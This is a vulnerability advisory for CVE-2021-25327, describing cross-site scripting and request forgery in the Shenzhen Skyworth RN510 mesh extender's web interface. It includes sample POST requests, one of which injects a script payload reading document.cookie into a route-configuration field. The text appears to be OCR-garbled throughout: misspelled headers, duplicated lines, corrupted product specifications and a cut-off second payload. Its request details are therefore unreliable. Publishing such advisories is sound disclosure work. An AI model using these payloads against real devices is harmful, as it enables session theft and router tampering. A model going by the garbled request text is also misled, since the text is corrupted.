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Shenzhen Skyworth RN510 Cross Site Request Forgery / Cross Site Scripting

Authored by Kaustubh G. Padwad

Posted May 4, 2021

Shenzhen Skyworth RN510 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf advisories | CVE-2021-25327

SHA-256 | 70d4b29f86b8a386559ce1885039111a11ce3147edcb6cc01fd5a7adda137f43 | **Download | Favorite | View**

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Change Mirror Download Overview Title:- Authenticated XSRF in RN510 Mesh Extender.
CVS-ID:- CVE-2021-25327
Author: Kaustubh G. Padwad
Vendor: Shenzhen Skyworth Digital Technology Company
Ltd. (http://www.skyworthdigital.com/products)
Products
1,38510 with firmware V.3.1.0.4 (Tested and verified) Potential
2.RN620 with respective firmware or below
3.RN410 With Respective firmware or below. Severity: High--Critical Advisory ID About the Product: * RNS10 dual-band wireless AC2100 access point delivers high-speed access for web surfing and HD video streamings. Integrated with two glgabit LAN ports, and a dual-band AP which supports 2x2 SO2.1in(3009bps) and 4x8 SO2.1in(3009bps) and case SO2.1in(3009bps) concurrently, RNS10provides a stable s reliable high speed wired and wireless connectivity for home more RNS10 units could be easily teamed upwith Ekyworth ONT gateway (e.g. GNS43) and form an automatically organized network. RNS10 could support either wired line backhaul or wireless backhaul to other mesh node. Duer could enjoy a wonderful zero-touch, robust and failure auto recovery, seamless connected wireless home networking experience. RNS10 uses a system of units to achieve seamless whole-home NI-Fi coverage, eliminate weak siqual areas once and for all, RNS10 work to the fastest possible speeds ARNS10 to the more for the fastest possible speeds. ARNS10 to the more for the fastest possible speeds. ARNS10 to the network anytime to increase coverage. RNS10 provides fast and stable connections with speeds of up to 2100 Mpps and works with major internst service provider (ISP) and modem. Parental Controls limits online time and block inappropriate websites according to unique profiles created for each family member. Setup is seasier than ever with the Skywiff app there to walk you through every step. Description: An issue was discovered on Shenzhen Skyworth The value of DestIPAdderss under /cgi-bin/net-routeadd.asp is not properly sanatizing hence it allow to execute malicious javascript, which result a successful cross site scripting in (cgi-bin/net-routeadd.asp, Additionally value of urlitem under /cgi-bin/sec-urlfiler.asp is also not getting properly sanitize hence it will result to successful cross site scripting. Sample request -1 Nosr /cgi-bin/net-routeadd.asp HTTP/1.1

Host: 192.168.2.1

User-Apent: Morila/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101

Firefox/68.0

Accept: Lenct/funt, application/xhtml*xml, application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 235

Content-User application/x-www-form-urlencoded

Content-User application/x-www-fo add num=0&user def num=0&WanInterfaceFlag=br0&metricFlag=0&gwflag=Yes&ifflag=Yes&DestIFAddress=<svg><script : >alert (document.cookie) &DestSubnetMask=255.255.255.255.6 avStr=on&GatewavIPAddress=192.168.1.1&ifStr=on&Interface Sample Request-2 Sample Request-Z

POST /cgi-bin/sec-urlfilter.asp HTTP/1.1

Host: 192.168.2.1

Host: 192.168.2.1

User-Apent: Worlis/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101

Firefox/68.0

Accept: Exet/html,application/sktml=xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.8

Content-Type: application/x-wow-form-urlencoded

Content-Length: 162

Content-User-Application/x-wow-form-urlencoded

Content-User-Applic Save_Flag=1&Actionflag=Add&EnableUrlFilterFlag=1&delnum=&add_num=1&Url_num=1&enableFilter=on&FilterPolicy=0&url [Affected Component] IpAddr function on page /cgi-bin/app-staticIP.asp inside the boa web server implementation.



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